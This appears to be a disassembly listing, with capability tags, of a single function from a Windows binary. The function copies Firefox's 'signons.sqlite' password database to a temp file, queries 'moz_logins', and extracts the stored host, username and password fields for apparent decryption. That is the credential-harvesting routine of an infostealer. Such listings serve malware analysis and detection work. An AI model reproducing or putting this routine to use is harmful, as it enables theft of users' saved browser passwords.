Function at 0x140020ed0
Capabilities:
Copy file
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x450]
sub rsp, 0x550
mov rax, qword [0x140032050]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov r14, rcx
lea rdx, [rcx + 0x98]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 8
jb 0x140020f16
mov rdx, qword [rdx]
xor ebx, ebx
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], bx
lea rcx, [rsp + 0x78]
call fcn.140002170
nop
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], bx
lea r8d, [rbx + 0xe]
lea rdx, str.signons.sqlite
lea rcx, [rsp + 0x58]
call fcn.140002170
nop
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x78]
call fcn.140001300
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140020fbc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020fb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020fb7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400227b0
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x230]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x230]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1400213a6
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp + 0x20]
xor r8d, r8d
lea rdx, str.WTFFI
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x1400213a6
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rcx, qword [rsp + 0x78]
xor r8d, r8d
lea rdx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400213a6
mov qword [rsp + 0x40], rbx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x20]
call qword [sym.imp.sqlite3.dll_sqlite3_open16]
test eax, eax
je 0x140021065
mov eax, 0xa
jmp 0x1400213ab
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x50], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
mov r8d, 0x3e8
lea rdx, str.select__from_moz_logins
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_prepare_v2]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.sqlite3.dll_sqlite3_step]
cmp eax, 0x64
jne 0x140021399
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], bx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], bx
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 7
mov word [rbp - 0x20], bx
mov qword [rbp], rbx
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], 7
mov word [rbp], bx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x38], rbx
lea edx, [rax - 0x63]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140021131
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140010270
nop
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x60]
call fcn.14001ed50
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140021195
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021190
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021384
call fcn.1400227b0
mov edx, 6
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov rdx, rax
lea r8, [rsp + 0x48]
mov rcx, r14
call fcn.140020900
mov edx, 7
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
mov rdx, rax
lea r8, [rsp + 0x38]
mov rcx, r14
call fcn.140020900
mov rdi, qword [rsp + 0x48]
test rdi, rdi
je 0x14002126e
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x140021202
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.140010270
nop
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x20]
call fcn.14001ed50
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140021266
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021261
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002138b
call fcn.1400227b0
mov rcx, rdi
call fcn.1400227b0
mov rdi, qword [rsp + 0x38]
test rdi, rdi
je 0x14002130c
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x1400212a0
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.140010270
nop
lea rdx, [rsp + 0x58]
lea rcx, [rbp]
call fcn.14001ed50
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140021304
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400212ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021392
call fcn.1400227b0
mov rcx, rdi
call fcn.1400227b0
mov rdi, qword [r14 + 0xc0]
cmp rdi, qword [r14 + 0xc8]
je 0x140021362
mov qword [rsp + 0x38], rdi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call fcn.1400020d0
nop
lea rcx, [rdi + 0x20]
lea rdx, [rbp - 0x40]
call fcn.1400020d0
nop
lea rcx, [rdi + 0x40]
lea rdx, [rbp - 0x20]
call fcn.1400020d0
nop
lea rcx, [rdi + 0x60]
lea rdx, [rbp]
call fcn.1400020d0
nop
sub qword [r14 + 0xc0], 0xffffffffffffff80
jmp 0x140021376
lea r8, [rbp - 0x60]
mov rdx, rdi
lea rcx, [r14 + 0xb8]
call fcn.140021eb0
nop
lea rcx, [rbp - 0x60]
call fcn.14001b7c0
jmp 0x140021096
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_close]
jmp 0x1400213ad
mov eax, 4
mov ebx, eax
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x1400213f1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400213ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400213ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400227b0
mov eax, ebx
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.140022790
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret